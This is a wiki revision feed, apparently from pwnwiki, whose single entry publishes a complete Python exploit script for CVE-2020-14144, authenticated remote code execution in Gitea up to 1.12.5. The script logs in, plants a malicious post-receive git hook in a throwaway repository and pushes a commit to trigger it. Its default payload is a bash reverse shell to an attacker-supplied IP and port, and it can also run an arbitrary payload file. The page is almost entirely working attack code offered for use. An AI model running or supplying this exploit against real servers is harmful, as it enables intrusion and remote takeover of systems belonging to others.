<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Gitea_1.12.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Gitea 1.12.5 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Gitea_1.12.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Gitea_1.12.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-14T03:14:40Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Gitea_1.12.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1259&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated) # Date: 17 Feb 2020 # Exploit Author: Podalirius # PoC demonstration article: https://podal...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Gitea_1.12.5_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1259&amp;oldid=prev"/>
		<updated>2021-04-08T09:21:58Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated) # Date: 17 Feb 2020 # Exploit Author: Podalirius # PoC demonstration article: https://podal...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated)&lt;br /&gt;
# Date: 17 Feb 2020&lt;br /&gt;
# Exploit Author: Podalirius&lt;br /&gt;
# PoC demonstration article: https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/&lt;br /&gt;
# Vendor Homepage: https://gitea.io/&lt;br /&gt;
# Software Link: https://dl.gitea.io/&lt;br /&gt;
# Version: &amp;gt;= 1.1.0 to &amp;lt;= 1.12.5&lt;br /&gt;
# Tested on: Ubuntu 16.04 with GiTea 1.6.1&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
&lt;br /&gt;
import argparse&lt;br /&gt;
import os&lt;br /&gt;
import pexpect&lt;br /&gt;
import random&lt;br /&gt;
import re&lt;br /&gt;
import sys&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
requests.packages.urllib3.disable_warnings()&lt;br /&gt;
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'&lt;br /&gt;
try:&lt;br /&gt;
    requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'&lt;br /&gt;
except AttributeError:&lt;br /&gt;
    pass&lt;br /&gt;
&lt;br /&gt;
class GiTea(object):&lt;br /&gt;
    def __init__(self, host, verbose=False):&lt;br /&gt;
        super(GiTea, self).__init__()&lt;br /&gt;
        self.verbose  = verbose&lt;br /&gt;
        self.host     = host&lt;br /&gt;
        self.username = None&lt;br /&gt;
        self.password = None&lt;br /&gt;
        self.uid      = None&lt;br /&gt;
        self.session  = None&lt;br /&gt;
&lt;br /&gt;
    def _get_csrf(self, url):&lt;br /&gt;
        pattern = 'name=&amp;quot;_csrf&amp;quot; content=&amp;quot;([a-zA-Z0-9\-\_=]+)&amp;quot;'&lt;br /&gt;
        csrf = []&lt;br /&gt;
        while len(csrf) == 0:&lt;br /&gt;
            r = self.session.get(url)&lt;br /&gt;
            csrf = re.findall(pattern, r.text)&lt;br /&gt;
            time.sleep(1)&lt;br /&gt;
        csrf = csrf[0]&lt;br /&gt;
        return csrf&lt;br /&gt;
&lt;br /&gt;
    def _get_uid(self, url):&lt;br /&gt;
        pattern = 'name=&amp;quot;_uid&amp;quot; content=&amp;quot;([0-9]+)&amp;quot;'&lt;br /&gt;
        uid = re.findall(pattern, self.session.get(url).text)&lt;br /&gt;
        while len(uid) == 0:&lt;br /&gt;
            time.sleep(1)&lt;br /&gt;
            uid = re.findall(pattern, self.session.get(url).text)&lt;br /&gt;
        uid = uid[0]&lt;br /&gt;
        return int(uid)&lt;br /&gt;
&lt;br /&gt;
    def login(self, username, password):&lt;br /&gt;
        if self.verbose == True:&lt;br /&gt;
            print(&amp;quot;   [&amp;gt;] login('%s', ...)&amp;quot; % username)&lt;br /&gt;
        self.session  = requests.Session()&lt;br /&gt;
        r = self.session.get('%s/user/login' % self.host)&lt;br /&gt;
        self.username = username&lt;br /&gt;
        self.password = password&lt;br /&gt;
&lt;br /&gt;
        # Logging in&lt;br /&gt;
        csrf = self._get_csrf(self.host)&lt;br /&gt;
        r = self.session.post(&lt;br /&gt;
            '%s/user/login?redirect_to=%%2f%s' % (self.host, self.username),&lt;br /&gt;
            data = {'_csrf':csrf, 'user_name':username, 'password':password},&lt;br /&gt;
            allow_redirects=True&lt;br /&gt;
        )&lt;br /&gt;
        if b'Username or password is incorrect.' in r.content:&lt;br /&gt;
            return False&lt;br /&gt;
        else:&lt;br /&gt;
            # Getting User id&lt;br /&gt;
            self.uid = self._get_uid(self.host)&lt;br /&gt;
            return True&lt;br /&gt;
&lt;br /&gt;
    def repo_create(self, repository_name):&lt;br /&gt;
        if self.verbose == True:&lt;br /&gt;
            print(&amp;quot;   [&amp;gt;] Creating repository : %s&amp;quot; % repository_name)&lt;br /&gt;
        csrf = self._get_csrf(self.host)&lt;br /&gt;
        # Create repo&lt;br /&gt;
        r = self.session.post(&lt;br /&gt;
            '%s/repo/create' % self.host,&lt;br /&gt;
            data = {&lt;br /&gt;
                '_csrf' : csrf,&lt;br /&gt;
                'uid' : self.uid,&lt;br /&gt;
                'repo_name' : repository_name,&lt;br /&gt;
                'description' : &amp;quot;Lorem Ipsum&amp;quot;,&lt;br /&gt;
                'gitignores' : '',&lt;br /&gt;
                'license' : '',&lt;br /&gt;
                'readme' : 'Default',&lt;br /&gt;
                'auto_init' : 'off'&lt;br /&gt;
            }&lt;br /&gt;
        )&lt;br /&gt;
        return None&lt;br /&gt;
&lt;br /&gt;
    def repo_delete(self, repository_name):&lt;br /&gt;
        if self.verbose == True:&lt;br /&gt;
            print(&amp;quot;   [&amp;gt;] Deleting repository : %s&amp;quot; % repository_name)&lt;br /&gt;
        csrf = self._get_csrf('%s/%s/%s/settings' % (self.host, self.username, repository_name))&lt;br /&gt;
        # Delete repository&lt;br /&gt;
        r = self.session.post(&lt;br /&gt;
            '%s/%s/%s/settings' % (self.host, self.username, repository_name),&lt;br /&gt;
            data = {&lt;br /&gt;
                '_csrf' : csrf,&lt;br /&gt;
                'action' : &amp;quot;delete&amp;quot;,&lt;br /&gt;
                'repo_name' : repository_name&lt;br /&gt;
            }&lt;br /&gt;
        )&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    def repo_set_githook_pre_receive(self, repository_name, content):&lt;br /&gt;
        if self.verbose == True:&lt;br /&gt;
            print(&amp;quot;   [&amp;gt;] repo_set_githook_pre_receive('%s')&amp;quot; % repository_name)&lt;br /&gt;
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name))&lt;br /&gt;
        # Set pre receive git hook&lt;br /&gt;
        r = self.session.post(&lt;br /&gt;
            '%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name),&lt;br /&gt;
            data = {&lt;br /&gt;
                '_csrf' : csrf,&lt;br /&gt;
                'content' : content&lt;br /&gt;
            }&lt;br /&gt;
        )&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    def repo_set_githook_update(self, repository_name, content):&lt;br /&gt;
        if self.verbose == True:&lt;br /&gt;
            print(&amp;quot;   [&amp;gt;] repo_set_githook_update('%s')&amp;quot; % repository_name)&lt;br /&gt;
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name))&lt;br /&gt;
        # Set update git hook&lt;br /&gt;
        r = self.session.post(&lt;br /&gt;
            '%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name),&lt;br /&gt;
            data = {&lt;br /&gt;
                '_csrf' : csrf,&lt;br /&gt;
                'content' : content&lt;br /&gt;
            }&lt;br /&gt;
        )&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    def repo_set_githook_post_receive(self, repository_name, content):&lt;br /&gt;
        if self.verbose == True:&lt;br /&gt;
            print(&amp;quot;   [&amp;gt;] repo_set_githook_post_receive('%s')&amp;quot; % repository_name)&lt;br /&gt;
        csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name))&lt;br /&gt;
        # Set post receive git hook&lt;br /&gt;
        r = self.session.post(&lt;br /&gt;
            '%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name),&lt;br /&gt;
            data = {&lt;br /&gt;
                '_csrf' : csrf,&lt;br /&gt;
                'content' : content&lt;br /&gt;
            }&lt;br /&gt;
        )&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    def logout(self):&lt;br /&gt;
        if self.verbose == True:&lt;br /&gt;
            print(&amp;quot;   [&amp;gt;] logout()&amp;quot;)&lt;br /&gt;
        # Logging out&lt;br /&gt;
        r = self.session.get('%s/user/logout' % self.host)&lt;br /&gt;
        return None&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def trigger_exploit(host, username, password, repository_name, verbose=False):&lt;br /&gt;
    # Create a temporary directory&lt;br /&gt;
    tmpdir = os.popen('mktemp -d').read().strip()&lt;br /&gt;
    os.chdir(tmpdir)&lt;br /&gt;
    # We create some files in the repository&lt;br /&gt;
    os.system('touch README.md')&lt;br /&gt;
    rndstring = ''.join([hex(random.randint(0,15))[2:] for k in range(32)])&lt;br /&gt;
    os.system('echo &amp;quot;%s&amp;quot; &amp;gt;&amp;gt; README.md' % rndstring)&lt;br /&gt;
    os.system('git init')&lt;br /&gt;
    os.system('git add README.md')&lt;br /&gt;
    os.system('git commit -m &amp;quot;Initial commit&amp;quot;')&lt;br /&gt;
    # Connect to remote source repository&lt;br /&gt;
    os.system('git remote add origin %s/%s/%s.git' % (host, username, repository_name))&lt;br /&gt;
    # Push the files (it will trigger post-receive git hook)&lt;br /&gt;
    conn = pexpect.spawn(&amp;quot;/bin/bash -c 'cd %s &amp;amp;&amp;amp; git push -u origin master'&amp;quot; % tmpdir)&lt;br /&gt;
    conn.expect(&amp;quot;Username for .*: &amp;quot;)&lt;br /&gt;
    conn.sendline(username)&lt;br /&gt;
    conn.expect(&amp;quot;Password for .*: &amp;quot;)&lt;br /&gt;
    conn.sendline(password)&lt;br /&gt;
    conn.expect(&amp;quot;Total.*&amp;quot;)&lt;br /&gt;
    print(conn.before.decode('utf-8').strip())&lt;br /&gt;
    return None&lt;br /&gt;
&lt;br /&gt;
def header():&lt;br /&gt;
    print(&amp;quot;&amp;quot;&amp;quot;    _____ _ _______&lt;br /&gt;
   / ____(_)__   __|             CVE-2020-14144&lt;br /&gt;
  | |  __ _   | | ___  __ _&lt;br /&gt;
  | | |_ | |  | |/ _ \/ _` |     Authenticated Remote Code Execution&lt;br /&gt;
  | |__| | |  | |  __/ (_| |&lt;br /&gt;
   \_____|_|  |_|\___|\__,_|     GiTea versions &amp;gt;= 1.1.0 to &amp;lt;= 1.12.5&lt;br /&gt;
     &amp;quot;&amp;quot;&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    header()&lt;br /&gt;
    parser = argparse.ArgumentParser(description='Process some integers.')&lt;br /&gt;
    parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Increase verbosity.')&lt;br /&gt;
&lt;br /&gt;
    parser.add_argument('-t','--target',  required=True,  type=str, help='Target host (http://..., https://... or domain name)')&lt;br /&gt;
    parser.add_argument('-u','--username', required=True, type=str, default=None, help='GiTea username')&lt;br /&gt;
    parser.add_argument('-p','--password', required=True, type=str, default=None, help='GiTea password')&lt;br /&gt;
&lt;br /&gt;
    parser.add_argument('-I','--rev-ip',   required=False, type=str, default=None, help='Reverse shell listener IP')&lt;br /&gt;
    parser.add_argument('-P','--rev-port', required=False, type=int, default=None, help='Reverse shell listener port')&lt;br /&gt;
&lt;br /&gt;
    parser.add_argument('-f','--payload-file', required=False, default=None, help='Path to shell script payload to use.')&lt;br /&gt;
&lt;br /&gt;
    args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
    if (args.rev_ip == None or args.rev_port == None):&lt;br /&gt;
        if args.payload_file == None:&lt;br /&gt;
            print('[!] Either (-I REV_IP and -P REV_PORT) or (-f PAYLOAD_FILE) options are needed')&lt;br /&gt;
            sys.exit(-1)&lt;br /&gt;
&lt;br /&gt;
    # Read specific payload file&lt;br /&gt;
    if args.payload_file != None:&lt;br /&gt;
        f = open(args.payload_file, 'r')&lt;br /&gt;
        hook_payload = ''.join(f.readlines())&lt;br /&gt;
        f.close()&lt;br /&gt;
    else:&lt;br /&gt;
        hook_payload = &amp;quot;&amp;quot;&amp;quot;#!/bin/bash\nbash -i &amp;gt;&amp;amp; /dev/tcp/%s/%d 0&amp;gt;&amp;amp;1 &amp;amp;\n&amp;quot;&amp;quot;&amp;quot; % (args.rev_ip, args.rev_port)&lt;br /&gt;
&lt;br /&gt;
    if args.target.startswith('http://'):&lt;br /&gt;
        pass&lt;br /&gt;
    elif args.target.startswith('https://'):&lt;br /&gt;
        pass&lt;br /&gt;
    else:&lt;br /&gt;
        args.target = 'https://' + args.target&lt;br /&gt;
&lt;br /&gt;
    print('[+] Starting exploit ...')&lt;br /&gt;
    g = GiTea(args.target, verbose=args.verbose)&lt;br /&gt;
    if g.login(args.username, args.password):&lt;br /&gt;
        reponame = 'vuln'&lt;br /&gt;
        g.repo_delete(reponame)&lt;br /&gt;
        g.repo_create(reponame)&lt;br /&gt;
        g.repo_set_githook_post_receive(reponame, hook_payload)&lt;br /&gt;
        g.logout()&lt;br /&gt;
        trigger_exploit(g.host, g.username, g.password, reponame, verbose=args.verbose)&lt;br /&gt;
        g.repo_delete(reponame)&lt;br /&gt;
    else:&lt;br /&gt;
        print('\x1b[1;91m[!]\x1b[0m Could not login with these credentials.')&lt;br /&gt;
    print('[+] Exploit completed !')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>